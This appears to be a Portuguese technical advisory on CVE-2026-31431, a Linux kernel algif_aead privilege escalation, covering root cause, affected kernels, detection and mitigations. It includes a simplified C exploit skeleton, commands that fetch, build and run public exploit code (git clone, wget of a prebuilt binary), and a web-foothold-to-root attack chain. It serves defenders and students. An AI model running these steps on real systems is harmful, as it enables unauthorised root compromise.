
Análise técnica do CVE-2026-31431, uma escalada local de privilégios no kernel Linux no módulo algif_aead, incluindo causa raiz, versões afetadas, fluxo de exploração e estratégias de mitigação.
Classificação: Local Privilege Escalation (LPE) — Kernel do Linux
CVSS: 7.8 (Alto)
Impacto:usuário sem privilégios → root
Módulo afetado:algif_aead(subsistema AF_ALG do kernel)
O kernel do Linux expõe uma interface de criptografia para o espaço do usuário chamada AF_ALG (socket da família AF_ALG). Essa interface permite que processos sem privilégios usem aceleradores criptográficos do kernel — criptografia, hashing, geração de chaves — sem precisar de root.
Um de seus módulos é o algif_aead, que implementa o modo AEAD (Authenticated Encryption with Associated Data), usado por algoritmos como AES-GCM ou ChaCha20-Poly1305.
O bug está em como algif_aead lida com operações de sendmsg() + recvmsg() quando o buffer de saída é menor do que o esperado. O kernel executa uma operação de cópia (copy_to_user) sem validar corretamente o tamanho, o que causa:
Buffer overflow → escrita fora dos limites na memória do kernel
Tecnicamente:
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy para endereço parcialmente controlado pelo usuário
Esse write-out-of-bounds permite sobrescrever estruturas de controle do kernel adjacentes na memória — em particular, ponteiros de função ou estruturas cred — para escalar privilégios.
Porque AF_ALG está disponível para usuários sem privilégios. Qualquer processo pode abrir um socket AF_ALG e enviar dados sem autenticação prévia. O exploit não precisa de nenhuma vulnerabilidade auxiliar.
// Isso qualquer usuário do sistema pode fazer
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
| Versão do kernel | Afetado? |
|---|---|
| < 5.10 | Não (módulo não existia nessa forma) |
| 5.10 — 6.1.x | Sim ⚠️ |
| 6.2.x | Sim ⚠️ (inclui o kernel do PoC) |
| 6.3+ com patch aplicado | Não ✅ |
# Ver versão do kernel
uname -r
# Ver se o módulo vulnerável está carregado
lsmod | grep algif_aead
# Ver se AF_ALG está disponível
cat /proc/net/protocols | grep ALG
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
⚠️ Se você vê
algif_aeadnolsmode seu kernel é6.2.xno Ubuntu 23.04, você está exposto.
⚠️ Aviso ético: Esta seção é puramente educativa. A exploração de sistemas sem autorização explícita é ilegal e punível. Os exemplos são pensados para ambientes de laboratório controlados.
1. Abrir socket AF_ALG (algif_aead)
2. Enviar sendmsg() com buffer oversized
3. recvmsg() com buffer menor → trigger do bug
4. Escrita OOB no heap do kernel
5. Sobrescrever cred->uid/gid para 0
6. execve("/bin/sh") → shell root
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// Configurar chave de 16 bytes
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// Buffer grande → trigger OOB write
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... construção do msghdr com cmsg ALG_OP_ENCRYPT
sendmsg(op_fd, &msg, 0);
// recvmsg com buffer insuficiente → kernel escreve fora dos limites
recv(op_fd, small_buf, sizeof(small_buf), 0);
// Se o exploit funcionou, agora somos root
if (getuid() == 0) {
printf("[+] Root obtido!\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
Este é um esquema simplificado. O exploit real requer primitivas adicionais de heap shaping para alinhar a escrita OOB com a estrutura
task_struct->cred.
Os seguintes repositórios contêm implementações funcionais documentadas:
copy-fail-c — Exploit em C puro, requer compilação
https://github.com/tgies/copy-fail-c
copy-fail-tiny-elf — Binário ELF standalone, não requer compilação
https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
# Clonar e compilar copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# Resultado esperado em sistema vulnerável:
# [*] Verificando módulo algif_aead...
# [*] Preparando spray de heap...
# [+] OOB write bem-sucedido
# [+] UID agora: 0
# # whoami
# root
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
Atacante externo
│
▼
Explora vulnerabilidade web (RCE) → acesso como www-data
│
▼
Envia copyfail ao servidor (wget/curl)
│
▼
Executa ./copyfail
│
▼
Shell root no servidor ✓
Tempo estimado desde o acesso www-data até root: < 30 segundos.
A única solução real é ter um kernel com o patch aplicado.
# Opção 1: Upgrade para Ubuntu 24.04 LTS (recomendado)
do-release-upgrade
# Opção 2: Se você já tem Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Verificar kernel com patch
uname -r # deve ser ≥ 5.15.0-107 no Ubuntu 22.04
Se você não pode atualizar agora, desative algif_aead:
# Criar blacklist do módulo
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# Regenerar initramfs para que seja permanente
sudo update-initramfs -u
# Reiniciar
sudo reboot
Verificar que ficou desativado:
lsmod | grep algif_aead
# Não deve aparecer nada
⚠️ Isso pode quebrar software que use criptografia AEAD via AF_ALG (pouco comum em servidores web padrão).
# Desabilitar user namespaces sem privilégios (quebra alguns recursos do Docker)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# Tornar permanente
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
Criar um perfil AppArmor que negue acesso a AF_ALG:
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # negar em perfis específicos
Para o processo web (exemplo nginx/www-data):
# Adicionar ao perfil AppArmor de www-data ou nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
Embora não evite a escalada, reduz a superfície de ataque inicial:
# Verificar que www-data não tem sudo
sudo grep www-data /etc/sudoers
# Remover binários SUID desnecessários
find / -perm -4000 2>/dev/null
# Restringir diretórios acessíveis
chmod 700 /root
chmod 750 /home/*
https://nvd.nist.gov/vuln/detail/CVE-2026-31431crypto/algif_aead.chttps://github.com/tgies/copy-fail-chttps://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431Documento elaborado para fins acadêmicos — Engenheiro administrador de sistemas, 2026
| Distribuição | Kernel típico | Tem patch? |
|---|
| Ubuntu 23.04 (lunar) | 6.2.0 | ❌ EOL — sem patches |
| Ubuntu 22.04 LTS | 5.15.x | ✅ Patch aplicado |
| Ubuntu 24.04 LTS | 6.8.x | ✅ Não afetado |
| Debian 12 (Bookworm) | 6.1.x | ✅ Patch aplicado |
| Arch Linux (2026-03+) | 6.8.x | ✅ Não afetado |
| Mitigação | Efetividade | Impacto no serviço | Permanente |
|---|
| Atualizar para Ubuntu 24.04 | ✅ Total | Mínimo | Sim |
Blacklist algif_aead | ✅ Alta | Muito baixo | Sim |
unprivileged_userns_clone=0 | 🟡 Parcial | Moderado | Sim |
| AppArmor AF_ALG deny | ✅ Alta | Baixo | Sim |
| Hardening de www-data | 🟡 Reduz | Nenhum | Sim |